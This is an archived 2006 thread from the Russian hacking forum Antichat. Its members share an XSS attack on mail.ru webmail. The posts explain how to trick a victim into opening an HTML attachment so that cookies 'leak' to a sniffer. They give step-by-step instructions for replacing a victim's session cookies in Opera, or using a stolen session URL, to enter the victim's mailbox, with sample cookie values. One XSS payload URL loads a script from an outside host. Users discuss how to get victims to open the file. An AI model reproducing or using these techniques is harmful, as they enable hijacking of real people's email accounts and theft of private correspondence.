ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
07.10.2006, 15:38
|
|
Новичок
Регистрация: 05.06.2006
Сообщений: 25
Провел на форуме:
328074
Репутация:
74
|
|
видео отправил но ещё не опубликовали ,может и-за не очень хорошего качества
|
|
|
07.10.2006, 15:57
|
|
Banned
Регистрация: 06.03.2005
Сообщений: 1,645
Провел на форуме:
7298807
Репутация:
901
|
|
Actu@l SpY
Попробуй ищё раз отправить. Видео не дошло.
|
|
|
|
07.10.2006, 20:59
|
|
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315
Репутация:
1228
|
|
ЭТУ XSS не прикрыли!
прост чеб она выполнилась недостаточно открыть письмо!
Отсылаеться она так: сохраняеться в html файл, после чего файл прикрепляеться к письму! потом при прочтение письма жертва должна нажать "скачать" прикрепленный файл, и в появившемся окошке нажать кнопку открыть! собсно вот так))) тогда срабатывает, и куки уплывают.......
|
|
|
|
08.10.2006, 15:45
|
|
Новичок
Регистрация: 13.09.2006
Сообщений: 15
Провел на форуме:
173901
Репутация:
7
|
|
Классно, а от браузера жертвы результат не зависит?
|
|
|
|
08.10.2006, 17:42
|
|
Новичок
Регистрация: 05.06.2006
Сообщений: 25
Провел на форуме:
328074
Репутация:
74
|
|
на мaйл.ру вопше по себе ху* знает какие у них там глиуки на сервере ,вчера вечером сниффер перестал выдёргивать сессию ,сегодня сессия и куки выдёргиваетса нормально.
когда на сниффер приходит куки и путь к ящику: http://win.mail.ru/cgi-bin/
то надо менять cookie в опере
в каждый параметр вставляете своё значение например так:
заходите к себе на емаил через оперу дальше в инструменты,настройки,куки ,управление cookies ,виде-те @майл.ру кликнете на логотип открывается табло с куками:
c8: 71gpRQAAAAD1LAEAAAAAARAQAAAAABGR0BAAAAAAD7iAEAA
Mpop:1160300756:4d50560750005024f6a5d5e465e0404090 c1d010c00184958520c44115c565c5b1b4341:xak4u@mail.r u:
Mpopl:63920967
mrcu:FDD24528E35C2CFCD118A66742
p:g20EAEr/eAA
t:bLD1AAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAABAAABAAAAAAAABgMpgcA
теперь меняете каждый параметр на то,что утянул сниффер
вход:http://win.mail.ru/cgi-bin/start
утенулась сессия то куки подменивать в Опере не нужно,на тот момент пока жертва в онлайне читает письмо вы входите так : http://win.mail.ru/session/5a0f5b647243746f19050219091d011b0007014f6a5d5e465e 0704091b02747b1f5c504350555842105b5c44411f4642/start
остальное вот это:/readmsg/document.html?id=11603102580000017668;0;1&mode=att achment&channel=¬ype удаляете
если не разберётесь стучите ,всем удачи
Последний раз редактировалось Actu@l SpY; 08.10.2006 в 18:24..
|
|
|
|
08.10.2006, 22:25
|
|
Banned
Регистрация: 13.12.2005
Сообщений: 28
Провел на форуме:
186245
Репутация:
-12
|
|
rabotaet respekt
|
|
|
|
09.10.2006, 03:01
|
|
Новичок
Регистрация: 05.06.2006
Сообщений: 25
Провел на форуме:
328074
Репутация:
74
|
|
выше приведённый мной вариант срабатывает и на Рамблер.ру
ещё нашёл вариант : http://win.mail.ru/cgi-bin/sendmsg?plainmode=1&Body="><SCRIPT SRC=http://devarsiv.org/alex/j.js></SCRIPT>
но ругается на потенциальный опасный код в письме ,тoесть в прикреплённом хтмл файле
вот сам ксс на майле.ру :win.mail.ru/cgi-bin/sendmsg?plainmode=1&Body=<script>alert('XSS')</script>
Последний раз редактировалось Actu@l SpY; 09.10.2006 в 04:34..
|
|
|
|
09.10.2006, 18:32
|
|
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315
Репутация:
1228
|
|
Сообщение от Actu@l SpY
выше приведённый мной вариант срабатывает и на Рамблер.ру
ещё нашёл вариант : http://win.mail.ru/cgi-bin/sendmsg?plainmode=1&Body="><SCRIPT SRC=http://devarsiv.org/alex/j.js></SCRIPT>
но ругается на потенциальный опасный код в письме ,тoесть в прикреплённом хтмл файле
вот сам ксс на майле.ру :win.mail.ru/cgi-bin/sendmsg?plainmode=1&Body=<script>alert('XSS')</script>
У мя не пашет! не уверен че она работает или работала в ближайшее время)))
|
|
|
|
10.10.2006, 00:23
|
|
Новичок
Регистрация: 05.06.2006
Сообщений: 25
Провел на форуме:
328074
Репутация:
74
|
|
вчера алерт выскакивал 100% отвечаю, сегодня голяк
в паб-лик больше скидывайте баги ..короче
|
|
|
|
11.10.2006, 21:48
|
|
Новичок
Регистрация: 13.09.2006
Сообщений: 15
Провел на форуме:
173901
Репутация:
7
|
|
круто !!!!!!!! Только нужно умудрится заставить жертву скачать файл
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
